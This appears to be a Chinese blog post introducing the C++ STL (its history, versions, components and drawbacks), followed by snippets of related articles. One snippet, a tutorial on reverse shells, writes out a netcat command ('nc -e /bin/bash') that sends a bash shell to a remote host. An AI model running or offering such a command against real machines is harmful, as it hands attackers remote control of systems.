07 STL 简介
目录
- 什么是STL
- STL的版本
- STL的六大组件
- STL的重要性
- 如何学习STL
- STL的缺陷
1. 什么是STL
c++标准库的重要组成部分,不仅是一个可复用的组件库,而且是一个包罗数据结构和算法的软件框架
2. STL的版本
- 原始版本
Alexander Stepanov、Meng Lee在惠普实验室的原创版本,本着开源精神,它们声明任何人可以运用、拷贝、修改、传播、商业使用,唯一条件就是需要开源使用。HP版本,是所有STL实现版本的始祖 - P.J版本
由P.J.Plauger开发,继承HP版本,被Windows Visual C++采用,不能公开或修改,缺陷:可读性较低,符号命名怪异 - RW版本
由Rouge Wage公司开发,继承自HP版本,被C++ Builder采用,不能公开或修改,可读性一般 - SGI版本
- 由Silicon Graphics Computer Systems,Inc公司开发,继承自HP版本,被GCC(Linux)采用,可移植性好,可公开、修改甚至贩卖,从命名风格和编程风格看,阅读性非常高,后面部分主要是这个版本
3. STL的六大组件
4. STL的重要性
如今 STL 已完全被内置到支持 C++ 的编译器中,无需额外安装,这可能也是 STL 被广泛使用的原因之一。
5. 如何学习STL
《The C++ Standard Library》
分为三个境界
- 第一境界: 熟用STL
- 第二境界:了解泛型技术内涵与STL的学理乃至实作
- 第三境界:扩充STL
6. STL的缺陷
1.STL库更新太慢,上一个靠谱版本是98,c++03才一些修订,c++11出来已经隔了13年
2.STL没有支持线程安全。并发环境下需要自己加锁,且难度较大
3.极度追求效率,导致内部比较复杂,比如类型萃取,迭代器萃取
4.STL的使用会有代码膨胀的问题,比如用vector/vector这样会生成多份代码,当然这是模板语法本身导致
相关文章:

07 STL 简介
目录 什么是STLSTL的版本STL的六大组件STL的重要性如何学习STLSTL的缺陷 1. 什么是STL c标准库的重要组成部分,不仅是一个可复用的组件库,而且是一个包罗数据结构和算法的软件框架 2. STL的版本 原始版本 Alexander Stepanov、Meng Lee在惠普实验室的…...
unity学习(39)——创建(create)角色脚本(panel)——静态(static)
1.发现一个非常实用的功能,点击unity中console的输出项,可以直接跳转到vs的代码页! 2.static类(变量)有三个特点: (1)独一份(2)无法实例化。(3&…...

MacOS环境下用powerline配置Terminal终端
Powerline 简介及安装配置 Powerline 是一个 stateless 状态栏,也就是一个全局状态/提示栏。你可以将其配置到你的 bash、Terminal、iTerm2 或 VIM 中,效果会如下所示: 你的 Mac 终端提示栏将会呈现如下图所示: 你的 VIM 状态…...

liunx单机项目部署
文章目录 1.liunx简介2.liunx的jdk安装2.liunx的tomcat安装3.liunx的mysql安装4.单机项目部署 1.liunx简介 Linux,一般指GNU/Linux(单独的Linux内核并不可直接使用,一般搭配GNU套件,故得此称呼),是一种免费…...

SQL 中如何实现多表关联查询?
阅读本文之前请参阅----MySQL 数据库安装教程详解(linux系统和windows系统) 在SQL中,多表关联查询是通过使用JOIN操作来实现的,它允许你从两个或多个表中根据相关列的值来检索数据。以下是几种常见的JOIN类型: …...
oracle 设置权限 禁止删除用户
在Oracle中,可以通过修改系统角色来控制用户的操作权限。要禁止删除用户,需要将DROP USER这个特定的系统权限从相应的角色中移除。 下面是一种常见的方法,使用SQL语句进行操作: -- 创建新的角色,并为其分配所有必要的…...

港科夜闻|香港科大计划建立北部都会区卫星校园完善科大创新带,发展未来创新科技 未来医药发展及跨学科教育...
关注并星标 每周阅读港科夜闻 建立新视野 开启新思维 1、香港科大计划建立北部都会区卫星校园完善“科大创新带”,发展未来创新科技、未来医药发展及跨学科教育。香港科大校长叶玉如教授在2月22日的媒体会议上表示,香港科大将在北部都会区建立卫星校园&a…...
linux反弹shell简单使用
一、反弹shell(NC正向反弹) 1、靶机开启监听端口 格式: nc -lvvp [任意未占用的端口号] 例: nc -lvvp [8080] 2、攻击机将shell弹到靶机上 格式: nc -e /bin/bash [靶机ip] [靶机监听端口] 例: nc -e /bin…...

前后端分离Vue+nodejs校园论坛bbs系统x450z
开发语言 node.js 框架:Express 前端:Vue.js 数据库:mysql 数据库工具:Navicat 开发软件:VScode本论文拟采用计算机技术设计并开发的论坛bbs系统,主要是为用户提供服务。使得用户可以在系统上查看帖子信息、签到积分等…...
ChatGPT的能力边界在哪?
ChatGPT在今天被热炒,主要的原因不是因为它能和人聊天,或者能帮助人做作业。其实做作业这件事它做得并不好,虽然有些中学和大学的问题它能够解决,但是对于绝大部分问题,它给出的答案都是车轱辘话。 那ChatGPT被热炒的…...

Sentinel微服务流量治理组件实战下
目录 Sentinel控制台介绍 实时监控 簇点链路 流控规则 限流阈值类型 流控模式 流控效果 熔断降级规则 熔断策略之慢调用比例 熔断策略之异常比例 熔断策略之异常数 热点规则 系统规则——系统自适应保护 系统规则阈值类型 授权控制规则——来源访问控制…...

vue+node.js美食分享推荐管理系统 io551
,本系统采用了 MySQL数据库的架构,在开始这项工作前,首先要设计好要用到的数据库表。该系统的使用者有二类:管理员和用户,主要功能包括个人信息修改,用户、美食类型、美食信息、订单信息、美食分享、课程大…...

云原生超融合八大核心能力|ZStack Edge云原生超融合产品技术解读
企业数字化转型的焦点正在发生变化,云基础设施由资源到应用,数据中心从核心到边缘。面向云原生趋势,围绕应用升级,新一代超融合产品——云原生超融合应运而生。 ZStackEdge云原生超融合是基于云原生架构研发的新一代IT基础设施 …...

认识K8S
K8S K8S 的全称为 Kubernetes (K12345678S) 是一个跨主机容器编排工具 作用 用于自动部署、扩展和管理“容器化(containerized)应用程序”的开源系统。 可以理解成 K8S 是负责自动化运维管理多个容器化程序(比如 Docker)的集群…...

K8S-001-Virtual box - Network Config
A. 配置两个IP, 一个连接内网,一个链接外网: 1. 内网配置(Host only, 不同的 virutal box 的版本可以不一样,这些窗口可能在不同的地方,但是配置的内容是一样的): 静态IP 动态IP 2. 外网(创建一个 Networ…...

ShardingSphere5.x 分库分表
一、shardingSphere介绍 1、官网:Apache ShardingSphere 2、开发文档: 概览 :: ShardingSphere 3、shardingsphere-jdbc ShardingSphere-JDBC 定位为轻量级 Java 框架,在 Java 的 JDBC 层提供的额外服务。 它使用客户端直连数据库&#x…...

cmake 项目。qt5升级 qt6 报错 error: “Qt requires a C++17 compiler 已解决
日常项目开发中。需要对qt5升级到qt6 做cmake兼容配置,在编译中发现,有c 编译环境 报错 2>C:\Qt\6.5.3\msvc2019_64\include\QtCore/qcompilerdetection.h(1226,1): fatal error C1189: #error: "Qt requires a C17 compiler, and a suitable …...

Flutter Engine 编译
本地环境 Flutter 开发基本环境配置,SDK【】 MAC. M2芯片 git工具 python环境[MAC自带] xcode Chromium depot_tools depot_tools 是调试 Flutter 引擎的必备工具包,包含了 gclient、gn 和 ninja 等工具,这些在下面会用到!…...

数据可视化在商业领域有哪些重要性?
数据可视化在商业领域的重要性体现在多个方面,它通过将复杂的数据集转化为直观、易于理解的图形和图表,帮助企业和组织做出更明智的决策。以下是数据可视化对商业的一些关键重要性: 提高决策效率:通过直观的图表和图形,…...

UI风格汇:扁平化风格来龙去脉,特征与未来趋势
Hello,我是大千UI工场,设计风格是我们新开辟的栏目,主要讲解各类UI风格特征、辨识方法、应用场景、运用方法等,本次带来的扁平化风格的解读,有设计需求,我们也可以接单。 一、什么是扁平化风格 扁平化风格…...

装饰模式(Decorator Pattern)重构java邮件发奖系统实战
前言 现在我们有个如下的需求,设计一个邮件发奖的小系统, 需求 1.数据验证 → 2. 敏感信息加密 → 3. 日志记录 → 4. 实际发送邮件 装饰器模式(Decorator Pattern)允许向一个现有的对象添加新的功能,同时又不改变其…...

微信小程序之bind和catch
这两个呢,都是绑定事件用的,具体使用有些小区别。 官方文档: 事件冒泡处理不同 bind:绑定的事件会向上冒泡,即触发当前组件的事件后,还会继续触发父组件的相同事件。例如,有一个子视图绑定了b…...
MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例
一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...

2021-03-15 iview一些问题
1.iview 在使用tree组件时,发现没有set类的方法,只有get,那么要改变tree值,只能遍历treeData,递归修改treeData的checked,发现无法更改,原因在于check模式下,子元素的勾选状态跟父节…...

P3 QT项目----记事本(3.8)
3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...
【算法训练营Day07】字符串part1
文章目录 反转字符串反转字符串II替换数字 反转字符串 题目链接:344. 反转字符串 双指针法,两个指针的元素直接调转即可 class Solution {public void reverseString(char[] s) {int head 0;int end s.length - 1;while(head < end) {char temp …...
【C语言练习】080. 使用C语言实现简单的数据库操作
080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...

智能仓储的未来:自动化、AI与数据分析如何重塑物流中心
当仓库学会“思考”,物流的终极形态正在诞生 想象这样的场景: 凌晨3点,某物流中心灯火通明却空无一人。AGV机器人集群根据实时订单动态规划路径;AI视觉系统在0.1秒内扫描包裹信息;数字孪生平台正模拟次日峰值流量压力…...
.Net Framework 4/C# 关键字(非常用,持续更新...)
一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...
【生成模型】视频生成论文调研
工作清单 上游应用方向:控制、速度、时长、高动态、多主体驱动 类型工作基础模型WAN / WAN-VACE / HunyuanVideo控制条件轨迹控制ATI~镜头控制ReCamMaster~多主体驱动Phantom~音频驱动Let Them Talk: Audio-Driven Multi-Person Conversational Video Generation速…...